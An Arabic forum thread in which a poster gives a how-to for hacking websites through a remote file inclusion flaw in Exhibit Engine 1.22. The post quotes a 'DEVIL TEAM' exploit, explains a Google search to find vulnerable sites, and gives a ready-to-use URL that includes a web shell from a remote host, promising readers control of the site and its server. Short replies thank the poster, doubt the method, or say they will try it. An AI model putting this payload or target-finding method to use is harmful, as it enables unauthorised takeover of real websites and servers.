شرح اختراق مواقع عن طريق Exhibit Engine

[al3ndleeb]

مرحبا احباء اول شرح ليا اليوم اختراق المواقع عن طريق ثغره Exhibit Engine موجوده في اكبر
المواقع واضخمها الصغره تعتمد اساسا على الشيل اي بمعنى انه نرفع شيل على الموقع وعن طريق
الشل نخترق الموقع كله مع السرفر اللي محجوز عليه الموقع واهم شي يرجى عدم استخدام الثغره
في المواقع العربيه انا بلغة اللهم فشهد الان مع الشرح :

$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$ 
$$ 
$$ Exhibit Engine <= 1.22 (toroot) Remote File Include Vulnerability 
$$ Script site: http://photography-on-the.net/ee/ 
$$ 
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 
$$ 
$$ Find by: Kacper (a.k.a Rahim) 
$$ 
$$ Contact: kacper1964@yahoo.pl or http://www.devilteam.yum.pl 
$$ 
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 
$$ 
$$ Greetz: DragonHeart, Satan, Leito, Leon, Luzak, 
$$ Adam, DeathSpeed, Drzewko, pepi 
$$ 
$$ Specjal greetz: DragonHeart ;-) 
$$ 
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 

Expl: 

http://www.site.com/[ee_path]/styles.php?toroot=[evil_scripts] 

#Pozdro dla wszystkich ;-)

هذه الثغره طبعا في ناس راح يسئلوا العندليب كيف يا عندليب بدنا نستخدم الثغره او بمعنى تاني
كيف استغلال الثغره واكيد العندليب بيساعدكم على استغلال الثغره .

اول نروح لحبيبنا وحبيب الهكر جوجل www.googel.com

ثانيا : نكتب في البحث كلمة ( Powered by Exhibit Engine )

طبعا ماشاء الله حبيبنا جوجل ما راح يقصر معنا راح يعطينا الالف المواقع اللي فيها الثغره وهم شي
عدم الاقتراب على المواقع العربيه لنها كمان مصابه فيها ,

تختار احد المواقع واللي بيكون على شكل هذا :

www.******.com/gallery

نضيف عليه هذا الكود :

styles.php?toroot=http://www.kuwaitup.net/uploads/46b95a5f01.gif?cmd

سوف يصبح الكود بعد التعديل هكذا :

www.*******.com/gallery/styles.php?toroot=http://www.kuwaitup.net/uplo ads/46b95a5f01.gif?cmd

واخير بعد ان تقوموا بعمل الشرح كما هوا دون اي نقصان سوف يعمل معاكم الشيل ويصبح الموقع

والسرفر ملك خاص فيكم واي سؤال انا حاضر تحياتي للجمع

[شذى الياسمين]

عنجد
اول مرة اعرف هالطريقة انا
وكتير شايفتها سهلة
بس ماراح اطبقهااااااا لانو عنجد بكرة شي اسمو هكر
بس فتت لاستفيد من المعلومة واتشكرك على مجهودك الطيب

[al3ndleeb]

مشكوره خيتي شذى على المرور

[ZaMorANo]

شكرا اخي العندليب
شكرا على الطرقة السهلة والرائع
وان شاء الله رح اجربها
شكرا

[احمد سعد!]

السلام عليك

هلا ايه السهوله دى انا متوقعتش السهول فى اختراك الموقع بسهوله دى

بس للاسف ده لكو غلط
لان لو لز مابتقول كان اى حد يقضر يخترق اى موقع

وانا عيزك انت تجرب زى مابتقول هتلقيها غلط


وشكور اخى على الجهد ده واسف انى ازعجتك